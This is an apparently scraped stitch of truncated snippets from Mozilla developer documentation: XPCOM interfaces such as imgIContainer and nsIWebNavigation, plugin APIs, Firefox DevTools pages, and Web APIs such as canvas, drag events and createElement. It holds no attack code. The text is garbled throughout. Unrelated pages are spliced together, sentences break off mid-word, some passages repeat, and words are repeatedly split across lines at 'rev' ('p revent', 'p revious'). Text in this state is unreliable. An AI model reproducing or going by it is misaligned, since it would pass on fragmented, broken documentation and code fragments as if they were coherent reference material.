reviewing a theme, not just when the theme is actually selected. lightweight-theme-list-changed - the list of available lightweight themes has changed. developer tools these topics let you know about things that have happened related to firefox's built-in developer tools. topic data description highlighter-ready - sent when the highlighter co...
imgIContainer
gecko 2.0 currentframeisopaque boolean whether the current frame is opaque; that is, needs the background painted behind it. read only. height print32 the height of the container rectangle. in the case of any error, zero is returned, and an exception will be thrown. read only. loopcount long number of times to loop the image. note: -1 means fo
rever. obsolete since gecko 2.0 numframes unsigned long the total number of frames in this image. read only. obsolete since gecko 2.0 preferredalphachannelformat gfx_format read only. obsolete since gecko 1.9.2 type unsigned short the type of this image (one of the type_* values above). read only. width print32 the width of the container re...
...nimate 2 = loop once. kdontanimmode 1 klooponceanimmode 2 kdisposeclearall -1 "disposal" method indicates how the image should be handled before the subsequent image is displayed. do not change these without looking at the implementations using them, struct gif_struct::disposal_method and gif_write() in particular. ...
... them, struct gif_struct::disposal_method and gif_write() in particular. clear() the whole image,
revealing. obsolete since gecko 2.0 kdisposenotspecified 0 leave frame, let new frame draw() on top. obsolete since gecko 2.0 kdisposekeep 1 leave frame, let new frame draw() on top. obsolete since gecko 2.0 kdisposeclear 2 clear() the frame's area,
revealing bg. obsolete since gecko 2.0 kdisposerestorep
revious 3 restore the p
revious(composited) frame. obsolete since gecko 2.0 kblendsource 0 all color components of the frame, including alpha, const long kblendover = 1; // the frame should be composited onto the output buffer. obsolete since gecko 2.0 methods native code only!addrestoredata obsolete since...
imgIEncoder
skipfirstframe=[yes|no] -- default: "no" controls display of the first frame in animations. png-only clients always display the first frame (and only that frame). frames=# -- default: "1" total number of frames in the image. the first frame, even if skipped, is always included in the count. plays=# -- default: "0" number of times to play the animation sequence. ...
...see apng spec. blend=[source|over] -- default: "source" how to render the new frame on the canvas. see apng spec. xoffset=# -- default: "0" yoffset=# -- default: "0" where to draw the frame, relative to the canvas. ...
... to do with the image's canvas before rendering the next frame. see apng spec. blend=[source|over] -- default: "source" how to render the new frame on the canvas. see apng spec. xoffset=# -- default: "0" yoffset=# -- default: "0" where to draw the frame, relative to the canvas. jpeg: ----- quality=# -- default: "92" quality of compression, 0-100 (worst-best). quality >= 90 p
revents down-sampling of the color channels. methods addimageframe() void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions ); parameters data list of bytes in the format specified by inputformat. length missing description width width in ...
nsIAutoCompleteSearch
s to start and stop autocomplete. inherits from: nsisupports last changed in gecko 1.7 users call startsearch() and pass in an nsiautocompleteobserver when the search starts. results can be sent to the listener either synchronously or asynchronously, depending on the implementation. ...
...can be null. ...
...); methods startsearch() search for a given string and notify a listener (either synchronously or asynchronously) of the result. void startsearch( in astring searchstring, in astring searchparam, in nsiautocompleteresult p
reviousresult, in nsiautocompleteobserver listener ); parameters searchstring the string to search for. searchparam an extra parameter. can be empty if not needed. p
reviousresult the p
revious nsiautocompleteresult to use for faster searching. can be null. listener an nsiautocompleteobserver listener to notify when the search is complete. stopsearch() stop all searches that are in progress. void stopsearch(); parameters none. ...
nsIContentViewer
r read only. native code only! note: prior to gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), this attribute was part of nsidocumentviewer. presshell nsipresshellptr read only. native code only! note: prior to gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), this attribute was part of nsidocumentviewer. p
reviousviewer nsicontentviewer the p
revious content viewer, which has been closed but not destroyed. native code only! sticky boolean methods clearhistoryentry() clears the current history entry. this is used to clear out the saved presentation state. void clearhistoryentry(); parameters none. close() all users of a content viewer are responsible for calling both close()...
...y entry for the content viewer. if this is null, then destroy() will be called on the document by close(). if it is non-null, the document will not be destroyed, and the following actions will happen when destroy() is called: sanitize() will be called on the viewer's document the content viewer will set the contentviewer property on the history entry, and release its reference (ownership
reversal). hide() will be called, and no further destruction will happen. destroy() void destroy(); parameters none. findcontainerview() finds the view to use as the container view for makewindow. note: prior to gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), this attribute was part of nsidocumentviewer. [noscript,notxpcom,nostdcall] nsiviewptr findcontainerview(); paramete...
... ashentry the history entry that the content viewer was stored in. the entry must have the docshells for all of the child documents stored in its child shell list. pagehide() void pagehide( in boolean isunload ); parameters isunload missing description exceptions thrown missing exception missing description permitunload() determins whether or not the document wants to p
revent unloading by firing beforeunload on the document, and if it does, prompts the user. the result is returned. boolean permitunload( in boolean acallercloseswindow optional ); parameters acallercloseswindow optional indicates that the current caller will close() the window. if the method returns true, all subsequent calls will be ignored. return value true if the document will allow ...
nsIDOMSimpleGestureEvent
ser executes a press and tap two finger gesture (first finger down, second finger down, second finger up, first finger up) on the input device. client coordinates contain the center pivot point of the action. (xxx not implemented on mac) default behavior: some operating systems support default behaviors for gesture events when they are not handled by the application. consumers should use event.p
reventdefault() to p
revent default behavior when consuming events. method overview void initsimplegestureevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolea...
...arg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in unsigned long directionarg, in double deltaarg); attributes attribute type description delta double the delta value indicating how far the gesture moved. for update events, this indicates the movement since the p
revious update; for the mozrotategesture and mozmagnifygesture events, this indicates the total movement that occurred while the event was being processed. the value is specified in degrees for rotation events (where positive values indicate clockwise rotation and negative values indicate counter-clockwise rotation). for magnify gestures, the units are implementation-specific; however, positive ...
...te zooming in, and negative values indicate zooming out. read only. note: on mac os x, the units used for magnification gestures by the underlying operating system api are not documented at this time; typical values appear to be in the range 0.0 to 100.0, but currently you can only rely on the value being either positive or negative. on windows, the units indicate the difference between the p
revious and current width between the two touch points, in pixels. direction unsigned long the direction in which the gesture moved. see direction constants and rotation constants on this page. read only. constants direction constants constant value description direction_up 1 upward swipe. direction_down 2 downward swipe. ...
nsIJetpack
ack is triggered. areceiver a javascript function. the first argument passed to it is the name of the message, and all arguments following it are either json-serializable types or handles. if the message was sent synchronously from the jetpack process via callmessage(), then the return value of this function is passed back to the jetpack process. ...
...void unregisterreceivers( in astring amessagename ); parameters amessagename the name of the message to unregister all callbacks from. evalscript() this asynchronously sends code to the jetpack process for evaluation. the code will be evaluated using at least javascript 1.8.1. ...
...; parameters none. return value the new handle. destroy() this terminates the jetpack process. void destroy(); parameters none. special messages if an exception goes uncaught in the jetpack process, it will be reported to the chrome process via a message with the name core:exception. the message comes with one argument, which represents the exception object that was thrown. warning: bug 589308 p
revents this message from being sent in some situations. history see bug 556846 for details. see also nsijetpackservice jetpack processes ...
nsIPrincipal
if there isn't o...
...nce. istrusted true if the certificate is a codebase trusted one. ...
... true if the certificate is a codebase trusted one. ...
nsISHistoryListener
docshell/shistory/public/nsishistorylistener.idlscriptable an interface you can implement to receive notifications about activities that occur in session history, and optionally cancel them. inherits from: nsisupports last changed in gecko 1.7 a session history listener is notified when pages are added to, removed from, and loaded from session history. the listener can p
revent any action (except adding a new session history entry) from happening by returning false from the corresponding callback method. a session history listener can be registered on a particular nsishistory instance via the nsishistory.addshistorylistener() method. method overview boolean onhistorygoback(in nsiuri abackuri); boolean onhistorygoforward(in nsiuri aforwarduri); boolean onhistorygotoindex(...
...boolean onhistorygoback( in nsiuri abackuri ); parameters abackuri the uri of the session history entry being navigated to. return value true to allow the go back operation to proceed or false to cancel it. onhistorygoforward() called when navigating to a next session history entry, for example due to an nsiwebn...
...ample by calling nsiwebnavigation.loaduri(). note: you can't cancel this operation. void onhistorynewentry( in nsiuri anewuri ); parameters anewuri the uri of the document to be added to session history. onhistorypurge() called when entries are removed from session history. entries can be removed from session history for various reasons; for example to control the browser's memory usage, to p
revent users from loading documents from history, to erase evidence of prior page loads, etc. to purge documents from session history call nsishistory.purgehistory(). boolean onhistorypurge( in long anumentries ); parameters anumentries the number of entries to be removed from session history. return value true to allow the purge operation to proceed or false to cancel it. onhistoryreload() call...
nsIScriptError
read only. outerwindowid unsigned long long the window id with which the error is associated. this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid(). read only. sourceline astring the line from the file specified by sourcename. you are responsible for providing that line. you may pass null if you are lazy; that will p
revent showing the source line in javascript console. read only. sourcename astring the url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real url. you may pass null if it's not applicable. read only. timestamp long long elapsed time, in milliseconds, from a platform-specific zero time to the time the mes...
...e the text of the message to add to the log. sourcename the url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will p
revent showing the source line in javascript console. linenumber the number of the line where the error occurred. columnnumber the column number where the error occurred. this is used to draw an arrow pointing to the problem character. flags one of flags listed in flag constants. category a string indicating what kind of code caused the message. there are quite a few category strings and they...
...e the text of the message to add to the log. sourcename the url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will p
revent showing the source line in javascript console. linenumber the number of the line where the error occurred. columnnumber the column number where the error occurred. this is used to draw an arrow pointing to the problem character. flags one of the script error flag constants category a string indicating what kind of code caused the message. there are quite a few category strings and they...
nsITraceableChannel
channel, intercept http traffic for a more detailed description with code samples. see modify url before loading page in firefox for an overview of how to modify a request before it is made. ...
...sistreamlistener setnewlistener(in nsistreamlistener alistener); methods setnewlistener() replaces the channel's current listener with a new one, returning the listener p
reviously assigned to the channel. nsistreamlistener setnewlistener( in nsistreamlistener alistener ); parameters alistener an nsistreamlistener to be notified of events on the http channel. return value the p
revious listener for the channel. each listener call through to the p
revious listener for every call, in order to establish a call chain to allow all interested parties a chance to act on each event. implementing nsistreamlistener the nsistreamlistener passed to setnewlistener() should implement the following methods, which are called to notify it of events that occur on the http stream: onstart...
...mplementing nsistreamlistener the nsistreamlistener passed to setnewlistener() should implement the following methods, which are called to notify it of events that occur on the http stream: onstartrequest: an http request is beginning. ondataavailable: data is arriving on the http channel. onstoprequest: the http request is ending. note: it is critical that you pass along requests to the p
revious listener as soon as possible -- especially for onstartrequest. channels may restrict when you may replace the listener. in particular, listeners typically should not be replaced after onstartrequest has been called. example this example can be copied and pasted into a javascript interpreter and run. this example uses promise syntax that is available in firefox 30 and onwards. /////// star...
nsIWebNavigation
docshell/base/nsiwebnavigation.idlscriptable defines an interface for navigating the web. it provides methods and attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has p
reviously gone. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead. method overview void goback void goforward void gotoind...
...ache could still be used to satisfy the load. load_flags_bypass_proxy 512 this flag specifies that any intermediate proxy caches should be bypassed (that is, that the content should be loaded from the origin server). load_flags_charset_change 1024 this flag specifies that a reload was triggered as a result of detecting an incorrect character encoding while parsing a p
reviously loaded document. load_flags_stop_content 2048 if this flag is set, stop() will be called before the load starts and will stop both content and network activity (the default is to only stop network activity). effectively, this passes the stop_content flag to stop(), in addition to the stop_network flag. load_flags_from_external 4096 a hint this load was...
...creates a blank document if there is none. this attribute never returns null except for unexpected error situations. read only. referringuri nsiuri the referring uri for the currently loaded uri or null. read only. sessionhistory nsishistory the session history object used by this web navigation instance. methods goback() tells the object to navigate to the p
revious session history item. when a page is loaded from session history, all content is loaded from the cache (if available) and page state (such as form values and scroll position) is restored. void goback( ); goforward() tells the object to navigate to the next session history item. when a page is loaded from session history, all content is loaded from the cache (if available) and page state (...
XUL Overlays
tem name="close"/> <menuitem name="super stream player"/> </menupopup> </menu> ... if you are developing a mozilla extension, note that the id namespace is shared by all the extensions. so, in order to avoid unpredicted behaviors you will probably benefit from using a unique prefix for the ids of the xul elements of your extension. for instance, you can use the name of your extension, or an abb
reviation of it. loading overlays overlays can be loaded explicitly or dynamically. when you load an overlay explicitly, it means that you intend to make it available every time the base file is loaded. since one of the main purposes of overlays is to provide ui for additions or components to the basic package, explicit loading can be somewhat problematic when the overlay defines optional ui elements...
...groups of elements that appear frequently in the ui. the overlay mechanism allows you to merge elements into existing subtrees, but it also allows you to store common ui elements in overlay files and merge them into any base files that use them. using the id attribute on an otherwise empty node in the base file, you can essentially reference a subtree defined in an overlay file and merge it in whe
rever it's needed. for example, the buttons that appear at the bottom of common dialogs, the ok and cancel buttons, may be used in dozens of places in the ui. rather than redefining this set of buttons each time they are necessary in a particular dialog, base xul files can overlay the xul file in which these buttons are defined, dialogoverlay.xul. (actually, the implementation is one step more compli...
...see also chapter 12 "overlays and chrome" of "rapid application development with mozilla" "overlays", "cross package overlays of xul tutorial ...
Theme Packaging
-requisites making a theme for thunderbird requires knowledge of cascading stylesheets (css), probably xbl, and some graphic design and aesthetic skill (...or maybe not). this document describes only how themes are packaged in order to be shown in firefox's themes window. ...
...it can be any size. icon.png is a 32x32 (max. 48x48) png (may contain alpha transparency) which will show up in the appearance section of the add-ons manager. ...
...it can be any size. icon.png is a 32x32 (max. 48x48) png (may contain alpha transparency) which will show up in the appearance section of the add-ons manager. ...
Add to iPhoto
efines corefoundation.cfrange to represent this data type, comprised of two 32-bit integer fields called location and length. generic cftype routines all core foundation data types are based upon a core cftype data type. basic cftype routines handle memory management, dumping cftype objects to the console, comparing cftype values, and so forth. we'll be using a number of these methods, but for b
revity's sake, since these are generally simple declarations, let's look at only the cfrelease() and cfretain() declarations. in c, these are declared thusly: void cfrelease(cftyperef cf); void cfretain(cftyperef cf); in javascript, this translates to: this.cfrelease = this.lib.declare("cfrelease", ctypes.default_abi, ctypes.voi...
...icularly interesting about how we declare this api, but it will be noteworthy when we look at how we use cfmutablearray objects with methods that accept a cfarray as input, so i introduce this concept here. carbon the carbon api is the core operating system api derived from the classic mac operating system. we actually aren't using any carbon methods, but we are using one carbon data type, the p
reviously mentioned fsref structure. fsref is an opaque object describing a file. in c, the fsref is declared thusly: struct fsref { uint8 hidden[80]; /* private to file manager; •• need symbolic constant */ }; typedef struct fsref fsref; we declare it using js-ctypes like this: this.struct_fsref = new ctypes.structtype("fsref", ...
...using this, so i'm just using a voidptr_t here. a pointer to an lsapplicationparameters structure that describes what application to launch a pointer to the first element of an array to receive the serial numbers of the launched applications; we're not using this field, but if you do, you'll probably have to declare this differently. a cfindex indicating the size of the array specified by the p
revious parameter. the lsapplicationparameters structure is declared like this: this.struct_lsapplicationparameters = new ctypes.structtype('lsapplicationparameters', [ {'version': cfindex}, {'flags': optionbits}, {'application': ctypes.voidptr_t}, // f...
Memory - Plugins
because plug-ins share memory space with the browser, they can take advantage of any customized memory-allocation scheme the browser has. browser memory schemes may be more efficient than standard os memory functions, and can give the browser flexibility in the way it manages memory. in addition, the plug-in usually has the option of using its own memory functions. the methods that handle memory belong to the browser group of methods. npn_memalloc allocates memory from the browser's memory space. use this function to allocate memory dynamically. npn_memfree requests that the browser free a specified block of memory. ...
...f memory, in bytes, to allocate in the browser's memory space. this function returns a pointer to the allocated memory or null if not enough memory is available. the npn_memfree method deallocates a block of memory that was allocated using npn_memalloc only. npn_memfree does not free memory allocated by other means. void npn_memfree (void *ptr); the ptr parameter represents a block of memory p
reviously allocated using npn_memalloc. flushing memory (mac os only) the npn_memflush method frees a specified amount of memory. normally, plug-ins should use npn_memalloc, which automatically frees nonessential memory if necessary to fulfill the request. for communicator 4.0 and later versions, this function is not necessary for the mac os platform; npn_memalloc now performs memory flushing inter...
... turned off. ...
Scripting plugins - Plugins
this document also explains how to make a plugin use these new extensions to be scriptable as well as how to access objects in a browser. (a bit of history: npapi plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete). ...
...ginscriptablenpobject = 15 threading model this api is not designed to be thread safe. the threading model for this api is such that all calls through this api are synchronous and calls from a plugin to methods in this api must come from the thread on which the plugin was initiated, and likewise all calls to methods in this api by the browser are guaranteed to come from the same thread. future
revisions to this api might provide a mechanism for proxying calls from one thread to another to aid in using this api from other threads. security model the security model for making calls through this api is much like the general same-origin security model enforced by the browser. that means that a script from an origin other than the origin of the page that loaded the plugin is not able to acces...
... npn_utf8fromidentifier npn_intfromidentifier npobject npn_construct (since firefox 3.0b1) npn_createobject npn_retainobject npn_releaseobject npn_invoke npn_invokedefault npn_enumerate (since mozilla 1.9a1) npn_evaluate npn_getproperty npn_setproperty npn_removeproperty npn_hasproperty npn_hasmethod npn_setexception npclass « p
reviousnext » ...
Streams - Plugins
streams are objects that represent urls and the data they contain, or data sent by a plug-in without an associated url. although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to or requested by the plug-in instance. ...
...ded to a temporary file before use unless the stream comes from a local file or an http server that supports the byte-range extension to http. file mode: the browser saves the entire stream to a local file and passes the file path to the plug-in instance through the npp_streamasfile method. use this feature only as a last resort; plug-ins should implement an incremental stream-based interface whe
rever possible. streams sent by the plug-in to the browser are like normal-mode streams produced by the browser, but in
reverse. in normal-mode streams, the browser calls the plug-in to tell it when a stream is created and to push more data. in contrast, for streams produced by the plug-in, the plug-in calls the plug-in api methods npp_newstream, npp_write, and npp_destroystream to create a stream,...
...* create the stream. ...
Migrating from Firebug - Firefox Developer Tools
9), but therefore has a separate tool called scratchpad, which can be added as panel to the toolbox or opened in a separate window via firefox menu > developer > scratchpad or shift + f4. also, the normal command line smartly enters a line break when it recognizes an unfinished command like document. and you hit enter. you can also manually enter a line break by pressing shift + enter. response p
review there is a p
review tab when a network request logged to the console is expanded in firebug. the web console displays a p
review within the response tab. it is currently missing the p
review for html, xml and svg, though, which is tracked in bug 1247392 and bug 1262796, but when you click on the url of the request you switch to the network monitor, which has a p
review tab. inspector firebug ha...
...e inspector the tag attributes and the contents can be edited inline just like in firebug. beyond that it allows to edit the tag names inline. you can also edit the html directly. in firebug you do this by right-clicking a node and clicking edit html... in the context menu. in the devtools this option is also available via the context menu. there the option is called edit as html. only the live p
review of changes is currently missing, which is tracked in bug 1067318 and bug 815464. copy html and related information firebug's html panel allows to copy the inner and outer html of an element as well as the css and xpath to it via the context menu of an element. the page inspector provides the same functionality except copying xpaths. this is covered by bug 987877. edit css both tools allow ...
...ools' network monitor allow you to inspect the information about a request by clicking on it. the only difference is that firebug shows the information below the request while the network monitor displays it within a side panel. in both tools there are different tabs containing different kinds of information for the selected request. they contain a headers, params, response and cookies panel. a p
review of the response is shown within specifically named panels like html. the network monitor has a p
review panel for this purpose. it doesn't provide information about the cached data yet (see bug 859051), but provides a security tab in addition to firebug's information and a timings tab showing detailed information about the network timings. view request timings firebug offers detailed informat...
Network request details - Firefox Developer Tools
the results through a json validator): { "response headers (1.113 kb)": { "headers": [ { "name": "accept-ranges", "value": "bytes" }, { "name": "age", "value": "0" }, { "name": "backend-timing", "value": "d=74716 t=1560258099074460" }, { "name": "cache-control", "value": "private, must-
revalidate, max-age=0" }, { "name": "content-disposition", "value": "inline; filename=api-result.js" }, { "name": "content-encoding", "value": "gzip" }, { "name": "content-length", "value": "673" }, { "name": "content-type", "value": "text/javascript; charset=utf-8" }, { ...
... shown. the samesite attribute has been shown since firefox 62 (bug 1452715). params tab this tab displays the get parameters and post data of a request: response tab the complete content of the response. if the response is html, js, or css, it will be shown as text: if the response is json, it will be shown as an inspectable object: if the response is an image, the tab displays a p
review: for network responses that are initiated by a websocket connection, the details pane shows any associated messages. for more information, see inspecting web sockets. cache tab if the response is cached (i.e. a 304), the cache tab displays details about that cached resource. these details include: last fetched: the date the resource was last fetched fetched count: the number of tim...
...ched resource. these details include: last fetched: the date the resource was last fetched fetched count: the number of times in the current session that the resource has been fetched data size: the size of the resource. last modified: the date the resource was last modified. expires: the date the resource expires. device: the device the resource was fetched from (e.g. "disk"). html p
review if the response is html, a p
review of the rendered html appears inside the response tab, above the response payload. timings tab the timings tab provides information about how long each stage of a network request took, with a more detailed, annotated, view of the timeline bar, so it is easy to locate performance bottlenecks. this tab can include the following sections. queued, started, ...
Console messages - Firefox Developer Tools
security the security messages shown in the web console help developers find potential or actual vulnerabilities in their sites. additionally, many of these messages help educate developers because they end with a “learn more” link that takes you to a page with background information and advice for mitigating the issue. the complete list of s...
...es these headers and displays them. to find a suitable library for your server code, see the chrome logger documentation. interpreter input/output commands sent to the browser using the web console's javascript interpreter, and the corresponding responses, are logged in the console messages. for responses that contain objects or variables, the following context menu options are available:
reveal in inspector shows the selected dom node in the inspector pane. store as global variable creates a global variable (with a name like temp0, temp1, etc.) whose value is the selected object. the name of the variable appears as an input to the interpreter, and its value appears as a response. copy object copies the selected object to the clipboard. filtering and searching filtering by cat...
...regular expressions: /(cool|rad)/ and /(cool)/. you can negate a regular expression search by prefixing it with the - character. for example, -/(cool|rad)/ shows only items that do not match the expression /(cool|rad)/. clearing the log finally, you can use the trashcan icon on the left to clear the contents of the console. when you clear the console, the console cache is also cleared. this p
revents errors that have already been loged from reappearing when you reopen the console. ...
about:debugging - Firefox Developer Tools
re are three tabs open: network or cache recipe, nightly home, and about nightly. to debug the contents of one of these tabs, click the inspect button next to its title. when you do, the developer tools open in a new tab. above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via usb, to firefox p
review, on a pixel 2, as well as the title of the page that you are debugging, and the address of the page. starting in firefox 78, the url bar is editable, so that you can change the url used by the browser on the remote device, by typing in firefox for desktop. you can also reload the page by clicking the reload button next to the url bar, and (starting 79), navigate backward or forward in the bro...
...nfig. connection to firefox for android 68 releases of firefox for android that are based on version 68 cannot be debugged from desktop firefox versions 69 or later, because of the difference in release versions. until such time as firefox for android is updated to a newer major release, in synch with desktop firefox, you should use one of the following firefox for android versions: firefox p
review, if your desktop firefox is the main release or developer edition firefox for android nightly if you prefer to test with the main release of firefox for android (i.e., based on release 68), you can do so with the desktop firefox extended support release (esr), which is also based on version 68. note that about:debugging is not enabled by default in firefox esr. to enable it, open the conf...
... ...
Managing screen orientation - Web APIs
window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width). the second way is the javascript screen orientation api that can be used to get the current orientation of the screen itself and eventually lock it. adjusting layout based on the orientation one of the most common cases for orientation changes is when you want to
revise the layout of your content based on the orientation of the device. for example, perhaps you want a button bar to stretch along the longest dimension of the device's display. by using a media query, you can do this easily and automatically. let's have an example with the following html code <ul id="toolbar"> <li>a</li> <li>b</li> <li>c</li> </ul> <p>lorem ipsum dolor sit amet, consecte...
...the screen based on their own orientation, ensuring that the user will always be able to read what's on the screen. while this behavior is perfectly suited for text content, there is some content that can be negatively affected by such a change. for example, games based on the orientation of the device could be messed up by such a change of the orientation. ...
...the screen is locked using the screen.lockorientation() method and unlocked using the screen.unlockorientation(). the screen.lockorientation() accepts a string (or series of strings) to define the kind of lock to apply. ...
CanvasRenderingContext2D - Web APIs
o(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like this: reference drawing rectangles there are three methods that immediately draw rectangles to the canvas. canvasrenderingcontext2d.clearrect() sets all pixels in the rectangle defined by starting point (x, y) and size (width, height) to transparent black, erasing any p
reviously drawn content. canvasrenderingcontext2d.fillrect() draws a filled rectangle at (x, y) position whose size is determined by width and height. canvasrenderingcontext2d.strokerect() paints a rectangle which has a starting point at (x, y) and has a w width and an h height onto the canvas, using the current stroke style. drawing text the following methods draw text. see also the textmetri...
...ght line. canvasrenderingcontext2d.beziercurveto() adds a cubic bézier curve to the current path. canvasrenderingcontext2d.quadraticcurveto() adds a quadratic bézier curve to the current path. canvasrenderingcontext2d.arc() adds a circular arc to the current path. canvasrenderingcontext2d.arcto() adds an arc to the current path with the given control points and radius, connected to the p
revious point by a straight line. canvasrenderingcontext2d.ellipse() adds an elliptical arc to the current path. canvasrenderingcontext2d.rect() creates a path for a rectangle at position (x, y) with a size that is determined by width and height. drawing paths canvasrenderingcontext2d.fill() fills the current sub-paths with the current fill style. canvasrenderingcontext2d.stroke() strokes...
...ingquality allows you to set the quality of image smoothing. the canvas state the canvasrenderingcontext2d rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). the following methods help you to work with that state: canvasrenderingcontext2d.save() saves the current drawing style state using a stack so you can
revert any change you make to it using restore(). canvasrenderingcontext2d.restore() restores the drawing style state to the last element on the 'state stack' saved by save(). canvasrenderingcontext2d.canvas a read-only back-reference to the htmlcanvaselement. might be null if it is not associated with a <canvas> element. hit regions canvasrenderingcontext2d.addhitregion() adds a hit regi...
Constraint validation API - Web APIs
s, using attributes like required and pattern to set basic constraints. however, you may want to impose more complex constraints, or to provide clearer reporting of validation failures than the defaults. this can be done using the constraint validation api. note: client-side constraint validation doesn't remove the need for validation on the server side. even though client-side validation can p
revent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application. therefore, you need to also validate input values on the server side, in a way that is consistent with what is done on the client side. client side validation is a tool for giving quick feedback to the user. you should not rely on it to completely sanitize...
... result, if the input value is invalid when the submit button is pressed, one of the custom error messages will be shown. if it is valid, it will submit as you'd expect. for this to happen, the custom validity has to be cancelled, by invoking setcustomvalidity() with an empty string value. we therefore do this every time the input event is raised. if you don't do this, and a custom validity was p
reviously set, the input will register as invalid, even if it current contains a valid value on submission. note: firefox supported a proprietary error attribute — x-moz-errormessage — for many versions, which allowed you set custom error messages in a similar way. this has been removed as of version 66 (see bug 1513890). specifications specification status comment h...
...rror messages in a similar way. this has been removed as of version 66 (see bug 1513890). specifications specification status comment html living standardthe definition of 'constraint validation api' in that specification. living standard html 5.1the definition of 'constraint validation api' in that specification. recommendation no change from the p
revious snapshot html5. html5the definition of 'constraint validation api' in that specification. recommendation first snapshot of html living standard containing this interface. ...
DataTransferItem.webkitGetAsEntry() - Web APIs
directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. then come the event handlers. ...
...em which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. then come the event handlers. ...
...t the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.p
reventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.p
reventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items. then we call event.p
reventdefault() to p
revent the event from being handled further after w...
Document.createElement() - Web APIs
t use qualified names (like "html:a") with this method. when called on an html document, createelement() converts tagname to lower case before creating the element. in firefox, opera, and chrome, createelement(null) works like createelement("null"). options optional an optional elementcreationoptions object, containing a single property named is, whose value is the tag name of a custom element p
reviously defined via customelements.define(). see web component example for more details. return value the new element. examples basic example this creates a new <div> and inserts it before the element with the id "div1". html <!doctype html> <html> <head> <title>||working with elements||</title> </head> <body> <div id="div1">the text above has been created dynamically.</div> </body> </h...
...lowing example snippet is taken from our expanding-list-web-component example (see it live also). in this case, our custom element extends the htmlulistelement, which represents the <ul> element. // create a class for the element class expandinglist extends htmlulistelement { constructor() { // always call super first in constructor super(); // constructor definition left out for b
revity ... } } // define the new element customelements.define('expanding-list', expandinglist, { extends: "ul" }); if we wanted to create an instance of this element programmatically, we'd use a call along the following lines: let expandinglist = document.createelement('ul', { is : 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag nam...
...customelements.define('expanding-list', expandinglist, { extends: "ul" }); if we wanted to create an instance of this element programmatically, we'd use a call along the following lines: let expandinglist = document.createelement('ul', { is : 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag name. note: for backwards compatibility with p
revious versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. specifications specification status comment domthe definition of 'document.createelement' in that specification. living standard ...
Document: drag event - Web APIs
agstart", function(event) { // store a ref. ...
... a ref. ...
....target.classname == "dropzone") { event.target.style.background = "purple"; } }, false); document.addeventlistener("dragleave", function(event) { // reset background of potential drop target when the draggable element leaves it if (event.target.classname == "dropzone") { event.target.style.background = ""; } }, false); document.addeventlistener("drop", function(event) { // p
revent default action (open as link for some elements) event.p
reventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html l...
EffectTiming.direction - Web APIs
he end of an iteration element.animate(), keyframeeffectreadonly(), and keyframeeffect() all accept an object of timing properties including direction. the value of direction corresponds directly to animationeffecttimingreadonly.direction in timing objects returned by animationeffectreadonly, keyframeeffectreadonly, and keyframeeffect. syntax var timingproperties = { direction: "normal" | "
reverse" | "alternate" | "alternate-
reverse" }; timingproperties.direction = "normal" | "
reverse" | "alternate" | "alternate-
reverse"; value a domstring which specifies the direction in which the animation should play as well as what to do when the playback reaches the end of the animation sequence in the current direction. it can take one of the following values, with the default being "normal":...
... "alternate-
